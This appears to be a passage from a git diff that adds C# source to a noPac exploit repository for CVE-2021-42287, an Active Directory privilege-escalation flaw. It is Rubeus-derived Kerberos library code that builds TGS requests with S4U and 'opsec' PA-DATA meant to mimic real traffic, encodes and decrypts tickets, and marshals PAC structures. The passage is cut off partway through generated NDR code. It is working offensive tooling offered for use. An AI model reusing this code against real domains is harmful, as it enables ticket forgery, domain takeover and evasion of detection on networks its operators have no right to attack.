+ // moved so all PA-DATA sections are inserted after the request body has been completed, this is useful when + // forming opsec requests as they require a checksum of the request body within the authenticator and the + // PADATA-TGS-REQ should go before the other PA-DATA sections + if (opsec && (!String.IsNullOrEmpty(s4uUser))) + { + // real packets seem to lowercase the domain in these 2 PA_DATA's + domain = domain.ToLower(); + + // PA_S4U_X509_USER commented out until we get the checksum working + PA_DATA s4upadata = new PA_DATA(clientKey, s4uUser, domain, req.req_body.nonce, paEType); + req.padata.Add(s4upadata); + } + + // add final S4U PA-DATA + if (!String.IsNullOrEmpty(s4uUser)) + { + // constrained delegation yo' + PA_DATA s4upadata = new PA_DATA(clientKey, s4uUser, domain); + req.padata.Add(s4upadata); + } + else if (opsec) + { + PA_DATA padataoptions = new PA_DATA(false, true, false, false); + req.padata.Add(padataoptions); + } + else if ((tgs != null) && !u2u) + { + PA_DATA pac_options = new PA_DATA(false, false, false, true); + req.padata.Add(pac_options); + } + + return req.Encode().Encode(); + } + + // To request a TGS for a foreign KRBTGT, requires 2 different domains + public static byte[] NewTGSReq(string userName, string domain, string targetDomain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, Interop.KERB_ETYPE requestEType) + { + // foreign domain "TGT" request + TGS_REQ req = new TGS_REQ(cname: false); + + // create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc. + PA_DATA padata = new PA_DATA(domain, userName, providedTicket, clientKey, paEType); + req.padata.Add(padata); + + req.req_body.realm = domain; + + // add in our encryption types + if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial) + { + // normal behavior + req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); + req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); + req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); + req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp); + //req.req_body.etypes.Add(Interop.KERB_ETYPE.des_cbc_crc); + } + else + { + // add in the supported etype specified + req.req_body.etypes.Add(requestEType); + } + + PA_DATA padataoptions = new PA_DATA(false, true, false, false); + req.padata.Add(padataoptions); + + req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; + req.req_body.sname.name_string.Add("krbtgt"); + req.req_body.sname.name_string.Add(targetDomain); + + req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE | Interop.KdcOptions.FORWARDABLE; + req.req_body.kdcOptions = req.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK & ~Interop.KdcOptions.RENEW; + + return req.Encode().Encode(); + } + + // maybe the function above can be combined with this one? + public static byte[] NewTGSReq(string userName, string targetUser, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, Interop.KERB_ETYPE requestEType, bool cross = true, string requestDomain = "") + { + // cross domain "S4U2Self" requests + TGS_REQ req = new TGS_REQ(cname: false); + + // get domains + string domain = userName.Split('@')[1]; + string targetDomain = targetUser.Split('@')[1]; + + // create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc. + PA_DATA padata = new PA_DATA(domain, userName.Split('@')[0], providedTicket, clientKey, paEType); + req.padata.Add(padata); + + // which domain is the "local" domain for this TGS + if (cross) + { + if (String.IsNullOrEmpty(requestDomain)) + requestDomain = targetDomain; + + req.req_body.realm = requestDomain; + } + else + { + req.req_body.realm = domain; + } + + // add in our encryption types + if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial) + { + // normal behavior + req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); + req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); + req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); + req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp); + //req.req_body.etypes.Add(Interop.KERB_ETYPE.des_cbc_crc); + } + else + { + // add in the supported etype specified + req.req_body.etypes.Add(requestEType); + } + + PA_DATA s4upadata = new PA_DATA(clientKey, targetUser, targetDomain); + req.padata.Add(s4upadata); + + req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_ENTERPRISE; + req.req_body.sname.name_string.Add(userName); + + req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE | Interop.KdcOptions.FORWARDABLE; + req.req_body.kdcOptions = req.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK & ~Interop.KdcOptions.RENEW; + + return req.Encode().Encode(); + } + + public static byte[] NewTGSReq(byte[] kirbi) + { + // take a supplied .kirbi TGT cred and build a TGS_REQ + + return null; + } + + + public TGS_REQ(bool cname = true) + { + // default, for creation + pvno = 5; + + // msg-type [2] INTEGER (12 -- TGS) + msg_type = (long)Interop.KERB_MESSAGE_TYPE.TGS_REQ; + + padata = new List(); + + // added ability to remove cname from TGS request + // seemed to be useful for cross domain stuff + // didn't see a cname in "real" S4U request traffic + req_body = new KDCReqBody(c: cname); + } + + public AsnElt Encode() + { + // pvno [1] INTEGER (5) + AsnElt pvnoAsn = AsnElt.MakeInteger(pvno); + AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { pvnoAsn }); + pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, pvnoSeq); + + + // msg-type [2] INTEGER (12 -- TGS -- ) + AsnElt msg_type_ASN = AsnElt.MakeInteger(msg_type); + AsnElt msg_type_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { msg_type_ASN }); + msg_type_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, msg_type_ASNSeq); + + + // padata [3] SEQUENCE OF PA-DATA OPTIONAL + List padatas = new List(); + foreach (PA_DATA pa in padata) + { + padatas.Add(pa.Encode()); + } + AsnElt padata_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, padatas.ToArray()); + AsnElt padata_ASNSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { padata_ASNSeq }); + padata_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, padata_ASNSeq2); + + + // req-body [4] KDC-REQ-BODY + AsnElt req_Body_ASN = req_body.Encode(); + AsnElt req_Body_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { req_Body_ASN }); + req_Body_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, req_Body_ASNSeq); + + + // encode it all into a sequence + AsnElt[] total = new[] { pvnoSeq, msg_type_ASNSeq, padata_ASNSeq, req_Body_ASNSeq }; + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, total); + + // TGS-REQ ::= [APPLICATION 12] KDC-REQ + // put it all together and tag it with 10 + AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq }); + totalSeq = AsnElt.MakeImplicit(AsnElt.APPLICATION, 12, totalSeq); + + return totalSeq; + } + + public long pvno { get; set; } + + public long msg_type { get; set; } + + public List padata { get; set; } + + public KDCReqBody req_body { get; set; } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/Ticket.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/Ticket.cs new file mode 100644 index 0000000..f98f6f6 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/Ticket.cs @@ -0,0 +1,112 @@ +using System; +using Asn1; +using System.Text; +using System.Collections.Generic; +using Rubeus.Kerberos; + +namespace Rubeus +{ + public class Ticket + { + //Ticket::= [APPLICATION 1] SEQUENCE { + // tkt-vno[0] INTEGER(5), + // realm[1] Realm, + // sname[2] PrincipalName, + // enc-part[3] EncryptedData -- EncTicketPart + //} + + public Ticket(string domain, string service) + { + tkt_vno = 5; + + realm = domain; + + sname = new PrincipalName(); + sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; + foreach (string part in service.Split('/')) + { + sname.name_string.Add(part); + } + } + + public Ticket(AsnElt body) + { + foreach (AsnElt s in body.Sub) + { + switch (s.TagValue) + { + case 0: + tkt_vno = Convert.ToInt32(s.Sub[0].GetInteger()); + break; + case 1: + realm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString()); + break; + case 2: + sname = new PrincipalName(s.Sub[0]); + break; + case 3: + enc_part = new EncryptedData(s.Sub[0]); + break; + default: + break; + } + } + } + + public AsnElt Encode() + { + // tkt-vno [0] INTEGER (5) + AsnElt tkt_vnoAsn = AsnElt.MakeInteger(tkt_vno); + AsnElt tkt_vnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { tkt_vnoAsn }); + tkt_vnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, tkt_vnoSeq); + + + // realm [1] Realm + AsnElt realmAsn = AsnElt.MakeString(AsnElt.IA5String, realm); + realmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, realmAsn); + AsnElt realmAsnSeq = AsnElt.Make(AsnElt.SEQUENCE, realmAsn); + realmAsnSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, realmAsnSeq); + + + // sname [2] PrincipalName + AsnElt snameAsn = sname.Encode(); + snameAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, snameAsn); + + + // enc-part [3] EncryptedData -- EncTicketPart + AsnElt enc_partAsn = enc_part.Encode(); + AsnElt enc_partSeq = AsnElt.Make(AsnElt.SEQUENCE, enc_partAsn); + enc_partSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, enc_partSeq); + + + AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { tkt_vnoSeq, realmAsnSeq, snameAsn, enc_partSeq }); + AsnElt totalSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { totalSeq }); + totalSeq2 = AsnElt.MakeImplicit(AsnElt.APPLICATION, 1, totalSeq2); + + return totalSeq2; + } + + public EncTicketPart Decrypt(byte[] serviceKey, byte[] asrepKey, bool noAdData = false) { + var decryptedTicket = Crypto.KerberosDecrypt((Interop.KERB_ETYPE)enc_part.etype, Interop.KRB_KEY_USAGE_AS_REP_TGS_REP, serviceKey, enc_part.cipher); + var encTicket = AsnElt.Decode(decryptedTicket, false); + return new EncTicketPart(encTicket.Sub[0], asrepKey, noAdData); + } + + public void Encrypt(EncTicketPart encTicketPart, byte[] serviceKey) { + + + //AuthorizationData ad_win2k_pac = new AuthorizationData(Interop.AuthorizationDataType.AD_WIN2K_PAC, pacs.Encode()); + //AuthorizationData ad_if_rel = new AuthorizationData(Interop.AuthorizationDataType.AD_IF_RELEVANT, ad_win2k_pac.Encode().Encode()); + //enc_part.cipher = Crypto.KerberosEncrypt((Interop.KERB_ETYPE)enc_part.etype, Interop.KRB_KEY_USAGE_AS_REP_TGS_REP, serviceKey, ad_if_rel.Encode().Encode()); + } + + + public int tkt_vno { get; set; } + + public string realm { get; set; } + + public PrincipalName sname { get; set; } + + public EncryptedData enc_part { get; set; } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/TransitedEncoding.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/TransitedEncoding.cs new file mode 100644 index 0000000..8309815 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/TransitedEncoding.cs @@ -0,0 +1,70 @@ +using System; +using Asn1; +using System.Text; +using System.Collections.Generic; + +namespace Rubeus +{ + public class TransitedEncoding + { + //TransitedEncoding ::= SEQUENCE { + // tr-type[0] Int32 -- must be registered --, + // contents[1] OCTET STRING + //} + public TransitedEncoding() + { + tr_type = Interop.TransitedEncodingType.NULL; + contents = new byte[0]; + } + + public TransitedEncoding(AsnElt body) + { + foreach (AsnElt s in body.Sub) + { + switch (s.TagValue) + { + case 0: + tr_type = (Interop.TransitedEncodingType)s.Sub[0].GetInteger(); + break; + case 1: + // just decode for now + contents = s.Sub[0].GetOctetString(); + break; + default: + break; + } + } + } + + public AsnElt Encode() + { + // tr-type [0] Int32 + AsnElt trTypeElt = AsnElt.MakeInteger((long)tr_type); + AsnElt trTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { trTypeElt }); + trTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, trTypeSeq); + + AsnElt seq; + + // contents [1] OCTET STRING + if (contents != null) + { + AsnElt contentsElt = AsnElt.MakeBlob(contents); + AsnElt contentsSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { contentsElt }); + contentsSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, contentsSeq); + seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { trTypeSeq, contentsSeq }); + } + else + { + seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { trTypeSeq }); + } + + seq = AsnElt.Make(AsnElt.SEQUENCE, seq); + + return seq; + } + + public Interop.TransitedEncodingType tr_type { get; set; } + + public byte[] contents { get; set; } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/pac/Attributes.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/pac/Attributes.cs new file mode 100644 index 0000000..a628c88 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/pac/Attributes.cs @@ -0,0 +1,44 @@ +using System; +using System.IO; + +namespace Rubeus.Kerberos.PAC +{ + public class Attributes : PacInfoBuffer + { + + public uint Length { get; set; } + + public Interop.PacAttribute Flags { get; set; } + + public Attributes(PacInfoBufferType type) + { + this.Type = type; + } + + public Attributes() + { + Type = PacInfoBufferType.Attributes; + Length = 2; // always going to be 2? + Flags = Interop.PacAttribute.PAC_WAS_REQUESTED; + } + + public Attributes(byte[] data) : base(data, PacInfoBufferType.Attributes) + { + Decode(data); + } + + public override byte[] Encode() + { + BinaryWriter bw = new BinaryWriter(new MemoryStream()); + bw.Write(Length); + bw.Write((int)Flags); + return ((MemoryStream)bw.BaseStream).ToArray(); + } + + protected override void Decode(byte[] data) + { + Length = br.ReadUInt32(); + Flags = (Interop.PacAttribute)br.ReadInt32(); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/pac/ClientName.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/pac/ClientName.cs new file mode 100644 index 0000000..ac72445 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/pac/ClientName.cs @@ -0,0 +1,41 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; + +namespace Rubeus.Kerberos.PAC { + public class ClientName : PacInfoBuffer { + public ClientName(DateTime clientId, string name) { + ClientId = new DateTime( + clientId.Ticks - (clientId.Ticks % TimeSpan.TicksPerSecond), + clientId.Kind + ); + NameLength = (short)(name.Length * 2); + Name = name; + Type = PacInfoBufferType.ClientName; + } + + public ClientName(byte[] data) : base(data, PacInfoBufferType.ClientName) { + Decode(data); + } + + public DateTime ClientId { get; set; } + public short NameLength { get; private set; } + public string Name { get; set; } + + protected override void Decode(byte[] data) { + ClientId = DateTime.FromFileTimeUtc(br.ReadInt64()); + NameLength = br.ReadInt16(); + Name = Encoding.Unicode.GetString(br.ReadBytes(NameLength)); + } + + public override byte[] Encode() { + BinaryWriter bw = new BinaryWriter(new MemoryStream()); + bw.Write(ClientId.ToFileTimeUtc()); + bw.Write(NameLength); + bw.Write(Encoding.Unicode.GetBytes(Name)); + return ((MemoryStream)bw.BaseStream).ToArray(); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/pac/LogonInfo.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/pac/LogonInfo.cs new file mode 100644 index 0000000..5e97f46 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/pac/LogonInfo.cs @@ -0,0 +1,38 @@ +using Rubeus.Ndr.Marshal; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using Rubeus.Ndr; + +namespace Rubeus.Kerberos.PAC { + public class LogonInfo : PacInfoBuffer { + + public _KERB_VALIDATION_INFO KerbValidationInfo { get; set; } + + public LogonInfo() + { + Type = PacInfoBufferType.LogonInfo; + } + + public LogonInfo(_KERB_VALIDATION_INFO kerbValidationInfo) : this() { + KerbValidationInfo = kerbValidationInfo; + } + + public LogonInfo(byte[] data) : base(data, PacInfoBufferType.LogonInfo) { + Decode(data); + } + + public override byte[] Encode() { + _Marshal_Helper mh = new _Marshal_Helper(); + mh.WriteReferent(KerbValidationInfo, new Action<_KERB_VALIDATION_INFO>(mh.WriteStruct)); + return mh.ToPickledType().ToArray(); + } + + protected override void Decode(byte[] data) { + NdrPickledType npt = new NdrPickledType(data); + _Unmarshal_Helper uh = new _Unmarshal_Helper(npt.Data); + KerbValidationInfo = (_KERB_VALIDATION_INFO)uh.ReadReferentValue(uh.ReadStruct<_KERB_VALIDATION_INFO>, false); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/pac/Ndr/Kerberos_PAC.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/pac/Ndr/Kerberos_PAC.cs new file mode 100644 index 0000000..f3f989c --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/pac/Ndr/Kerberos_PAC.cs @@ -0,0 +1,1172 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +// Source Executable: c:\users\ceri.coburn\source\repos\playgrounddll\x64\release\playgrounddll.dll +// Interface ID: 4870536e-23fa-4cd5-9637-3f1a1699d3dc +// Interface Version: 1.0 +// Client Generated: 18/05/2021 21:28:48 +// NtApiDotNet Version: 1.1.30 + +using System; +using System.Diagnostics; +using System.IO; +using System.Runtime.InteropServices; +using System.Security.Principal; +using System.Text; + +namespace Rubeus.Ndr { + + #region Marshal Helpers + internal class _Marshal_Helper : Rubeus.Ndr.Marshal.NdrMarshalBuffer { + public void Write_0(_PAC_DEVICE_INFO p0) { + WriteStruct<_PAC_DEVICE_INFO>(p0); + } + public void Write_1(_RPC_SID p0) { + WriteStruct<_RPC_SID>(p0); + } + public void Write_2(_RPC_SID_IDENTIFIER_AUTHORITY p0) { + WriteStruct<_RPC_SID_IDENTIFIER_AUTHORITY>(p0); + } + public void Write_3(_GROUP_MEMBERSHIP p0) { + WriteStruct<_GROUP_MEMBERSHIP>(p0); + } + public void Write_4(_KERB_SID_AND_ATTRIBUTES p0) { + WriteStruct<_KERB_SID_AND_ATTRIBUTES>(p0); + } + public void Write_5(DOMAIN_GROUP_MEMBERSHIP p0) { + WriteStruct(p0); + } + public void Write_6(_PAC_DEVICE_CLAIMS_INFO p0) { + WriteStruct<_PAC_DEVICE_CLAIMS_INFO>(p0); + } + public void Write_7(_CLAIMS_SET_METADATA p0) { + WriteStruct<_CLAIMS_SET_METADATA>(p0); + } + public void Write_8(_UPN_DNS_INFO p0) { + WriteStruct<_UPN_DNS_INFO>(p0); + } + public void Write_9(_KERB_VALIDATION_INFO p0) { + WriteStruct<_KERB_VALIDATION_INFO>(p0); + } + public void Write_10(_RPC_UNICODE_STRING p0) { + WriteStruct<_RPC_UNICODE_STRING>(p0); + } + public void Write_11(_USER_SESSION_KEY p0) { + WriteStruct<_USER_SESSION_KEY>(p0); + } + public void Write_12(_CYPHER_BLOCK p0) { + WriteStruct<_CYPHER_BLOCK>(p0); + } + public void Write_13(_PAC_INFO_BUFFER p0) { + WriteStruct<_PAC_INFO_BUFFER>(p0); + } + public void Write_14(_NTLM_SUPPLEMENTAL_CREDENTIAL p0) { + WriteStruct<_NTLM_SUPPLEMENTAL_CREDENTIAL>(p0); + } + public void Write_15(_PAC_CLIENT_INFO p0) { + WriteStruct<_PAC_CLIENT_INFO>(p0); + } + public void Write_16(_S4U_DELEGATION_INFO p0) { + WriteStruct<_S4U_DELEGATION_INFO>(p0); + } + public void Write_17(_PAC_CREDENTIAL_DATA p0) { + WriteStruct<_PAC_CREDENTIAL_DATA>(p0); + } + public void Write_18(_SECPKG_SUPPLEMENTAL_CRED p0) { + WriteStruct<_SECPKG_SUPPLEMENTAL_CRED>(p0); + } + public void Write_19(_GROUP_MEMBERSHIP[] p0, long p1) { + WriteConformantStructArray<_GROUP_MEMBERSHIP>(p0, p1); + } + public void Write_20(_KERB_SID_AND_ATTRIBUTES[] p0, long p1) { + WriteConformantStructArray<_KERB_SID_AND_ATTRIBUTES>(p0, p1); + } + public void Write_21(DOMAIN_GROUP_MEMBERSHIP[] p0, long p1) { + WriteConformantStructArray(p0, p1); + } + public void Write_22(int[] p0, long p1) { + WriteConformantArray(p0, p1); + } + public void Write_23(byte[] p0) { + WriteFixedByteArray(p0, 6); + } + public void Write_24(_GROUP_MEMBERSHIP[] p0, long p1) { + WriteConformantStructArray<_GROUP_MEMBERSHIP>(p0, p1); + } + public void Write_25(byte[] p0, long p1) { + WriteConformantArray(p0, p1); + } + public void Write_26(byte[] p0, long p1) { + WriteConformantArray(p0, p1); + } + public void Write_27(_GROUP_MEMBERSHIP[] p0, long p1) { + WriteConformantStructArray<_GROUP_MEMBERSHIP>(p0, p1); + } + public void Write_28(int[] p0) { + WriteFixedPrimitiveArray(p0, 2); + } + public void Write_29(int[] p0) { + WriteFixedPrimitiveArray(p0, 7); + } + public void Write_30(_KERB_SID_AND_ATTRIBUTES[] p0, long p1) { + WriteConformantStructArray<_KERB_SID_AND_ATTRIBUTES>(p0, p1); + } + public void Write_31(_GROUP_MEMBERSHIP[] p0, long p1) { + WriteConformantStructArray<_GROUP_MEMBERSHIP>(p0, p1); + } + public void Write_32(char[] p0, long p1, long p2) { + WriteConformantVaryingArray(p0, p1, p2); + } + public void Write_33(_CYPHER_BLOCK[] p0) { + WriteFixedStructArray<_CYPHER_BLOCK>(p0, 2); + } + public void Write_34(sbyte[] p0) { + WriteFixedPrimitiveArray(p0, 8); + } + public void Write_35(sbyte[] p0) { + WriteFixedPrimitiveArray(p0, 16); + } + public void Write_36(string p0) { + WriteFixedString(p0, 1); + } + public void Write_37(_RPC_UNICODE_STRING[] p0, long p1) { + WriteConformantStructArray<_RPC_UNICODE_STRING>(p0, p1); + } + public void Write_38(_SECPKG_SUPPLEMENTAL_CRED[] p0, long p1) { + WriteConformantStructArray<_SECPKG_SUPPLEMENTAL_CRED>(p0, p1); + } + public void Write_39(sbyte[] p0, long p1) { + WriteConformantArray(p0, p1); + } + internal void Write_40(_FILETIME p0) { + WriteStruct<_FILETIME>(p0); + } + } + internal class _Unmarshal_Helper : Rubeus.Ndr.Marshal.NdrUnmarshalBuffer { + + public _Unmarshal_Helper(byte[] ba) : + base(ba) { + } + public _PAC_DEVICE_INFO Read_0() { + return ReadStruct<_PAC_DEVICE_INFO>(); + } + public _RPC_SID Read_1() { + return ReadStruct<_RPC_SID>(); + } + public _RPC_SID_IDENTIFIER_AUTHORITY Read_2() { + return ReadStruct<_RPC_SID_IDENTIFIER_AUTHORITY>(); + } + public _GROUP_MEMBERSHIP Read_3() { + return ReadStruct<_GROUP_MEMBERSHIP>(); + } + public _KERB_SID_AND_ATTRIBUTES Read_4() { + return ReadStruct<_KERB_SID_AND_ATTRIBUTES>(); + } + public DOMAIN_GROUP_MEMBERSHIP Read_5() { + return ReadStruct(); + } + public _PAC_DEVICE_CLAIMS_INFO Read_6() { + return ReadStruct<_PAC_DEVICE_CLAIMS_INFO>(); + } + public _CLAIMS_SET_METADATA Read_7() { + return ReadStruct<_CLAIMS_SET_METADATA>(); + } + public _UPN_DNS_INFO Read_8() { + return ReadStruct<_UPN_DNS_INFO>(); + } + public _KERB_VALIDATION_INFO Read_9() { + return ReadStruct<_KERB_VALIDATION_INFO>(); + } + public _RPC_UNICODE_STRING Read_10() { + return ReadStruct<_RPC_UNICODE_STRING>(); + } + public _USER_SESSION_KEY Read_11() { + return ReadStruct<_USER_SESSION_KEY>(); + } + public _CYPHER_BLOCK Read_12() { + return ReadStruct<_CYPHER_BLOCK>(); + } + public _PAC_INFO_BUFFER Read_13() { + return ReadStruct<_PAC_INFO_BUFFER>(); + } + public _NTLM_SUPPLEMENTAL_CREDENTIAL Read_14() { + return ReadStruct<_NTLM_SUPPLEMENTAL_CREDENTIAL>(); + } + public _PAC_CLIENT_INFO Read_15() { + return ReadStruct<_PAC_CLIENT_INFO>(); + } + public _S4U_DELEGATION_INFO Read_16() { + return ReadStruct<_S4U_DELEGATION_INFO>(); + } + public _PAC_CREDENTIAL_DATA Read_17() { + return ReadStruct<_PAC_CREDENTIAL_DATA>(); + } + public _SECPKG_SUPPLEMENTAL_CRED Read_18() { + return ReadStruct<_SECPKG_SUPPLEMENTAL_CRED>(); + } + public _GROUP_MEMBERSHIP[] Read_19() { + return ReadConformantStructArray<_GROUP_MEMBERSHIP>(); + } + public _KERB_SID_AND_ATTRIBUTES[] Read_20() { + return ReadConformantStructArray<_KERB_SID_AND_ATTRIBUTES>(); + } + public DOMAIN_GROUP_MEMBERSHIP[] Read_21() { + return ReadConformantStructArray(); + } + public int[] Read_22() { + return ReadConformantArray(); + } + public byte[] Read_23() { + return ReadFixedByteArray(6); + } + public _GROUP_MEMBERSHIP[] Read_24() { + return ReadConformantStructArray<_GROUP_MEMBERSHIP>(); + } + public byte[] Read_25() { + return ReadConformantArray(); + } + public byte[] Read_26() { + return ReadConformantArray(); + } + public _GROUP_MEMBERSHIP[] Read_27() { + return ReadConformantStructArray<_GROUP_MEMBERSHIP>(); + } + public int[] Read_28() { + return ReadFixedPrimitiveArray(2); + } + public int[] Read_29() { + return ReadFixedPrimitiveArray(7); + } + public _KERB_SID_AND_ATTRIBUTES[] Read_30() { + return ReadConformantStructArray<_KERB_SID_AND_ATTRIBUTES>(); + } + public _GROUP_MEMBERSHIP[] Read_31() { + return ReadConformantStructArray<_GROUP_MEMBERSHIP>(); + } + public char[] Read_32() { + return ReadConformantVaryingArray(); + } + public _CYPHER_BLOCK[] Read_33() { + return ReadFixedStructArray<_CYPHER_BLOCK>(2); + } + public sbyte[] Read_34() { + return ReadFixedPrimitiveArray(8); + } + public sbyte[] Read_35() { + return ReadFixedPrimitiveArray(16); + } + public string Read_36() { + return ReadFixedString(1); + } + public _RPC_UNICODE_STRING[] Read_37() { + return ReadConformantStructArray<_RPC_UNICODE_STRING>(); + } + public _SECPKG_SUPPLEMENTAL_CRED[] Read_38() { + return ReadConformantStructArray<_SECPKG_SUPPLEMENTAL_CRED>(); + } + public sbyte[] Read_39() { + return ReadConformantArray(); + } + public _FILETIME Read_40() { + return ReadStruct<_FILETIME>(); + } + } + #endregion + #region Complex Types + public struct _PAC_DEVICE_INFO : Rubeus.Ndr.Marshal.INdrStructure { + void Rubeus.Ndr.Marshal.INdrStructure.Marshal(Rubeus.Ndr.Marshal.NdrMarshalBuffer m) { + Marshal(((_Marshal_Helper)(m))); + } + private void Marshal(_Marshal_Helper m) { + m.WriteInt32(UserId); + m.WriteInt32(PrimaryGroupId); + m.WriteEmbeddedPointer<_RPC_SID>(AccountDomainId, new System.Action<_RPC_SID>(m.Write_1)); + m.WriteInt32(AccountGroupCount); + m.WriteEmbeddedPointer<_GROUP_MEMBERSHIP[], long>(AccountGroupIds, new System.Action<_GROUP_MEMBERSHIP[], long>(m.Write_19), AccountGroupCount); + m.WriteInt32(SidCount); + m.WriteEmbeddedPointer<_KERB_SID_AND_ATTRIBUTES[], long>(ExtraSids, new System.Action<_KERB_SID_AND_ATTRIBUTES[], long>(m.Write_20), SidCount); + m.WriteInt32(DomainGroupCount); + m.WriteEmbeddedPointer(DomainGroup, new System.Action(m.Write_21), DomainGroupCount); + } + void Rubeus.Ndr.Marshal.INdrStructure.Unmarshal(Rubeus.Ndr.Marshal.NdrUnmarshalBuffer u) { + Unmarshal(((_Unmarshal_Helper)(u))); + } + private void Unmarshal(_Unmarshal_Helper u) { + UserId = u.ReadInt32(); + PrimaryGroupId = u.ReadInt32(); + AccountDomainId = u.ReadEmbeddedPointer<_RPC_SID>(new System.Func<_RPC_SID>(u.Read_1), false); + AccountGroupCount = u.ReadInt32(); + AccountGroupIds = u.ReadEmbeddedPointer<_GROUP_MEMBERSHIP[]>(new System.Func<_GROUP_MEMBERSHIP[]>(u.Read_19), false); + SidCount = u.ReadInt32(); + ExtraSids = u.ReadEmbeddedPointer<_KERB_SID_AND_ATTRIBUTES[]>(new System.Func<_KERB_SID_AND_ATTRIBUTES[]>(u.Read_20), false); + DomainGroupCount = u.ReadInt32(); + DomainGroup = u.ReadEmbeddedPointer(new System.Func(u.Read_21), false); + } + int Rubeus.Ndr.Marshal.INdrStructure.GetAlignment() { + return 4; + } + public int UserId; + public int PrimaryGroupId; + public Rubeus.Ndr.Marshal.NdrEmbeddedPointer<_RPC_SID> AccountDomainId; + public int AccountGroupCount; + public Rubeus.Ndr.Marshal.NdrEmbeddedPointer<_GROUP_MEMBERSHIP[]> AccountGroupIds; + public int SidCount; + public Rubeus.Ndr.Marshal.NdrEmbeddedPointer<_KERB_SID_AND_ATTRIBUTES[]> ExtraSids; + public int DomainGroupCount; + public Rubeus.Ndr.Marshal.NdrEmbeddedPointer DomainGroup; + public static _PAC_DEVICE_INFO CreateDefault() { + return new _PAC_DEVICE_INFO(); + } + public _PAC_DEVICE_INFO(int UserId, int PrimaryGroupId, System.Nullable<_RPC_SID> AccountDomainId, int AccountGroupCount, _GROUP_MEMBERSHIP[] AccountGroupIds, int SidCount, 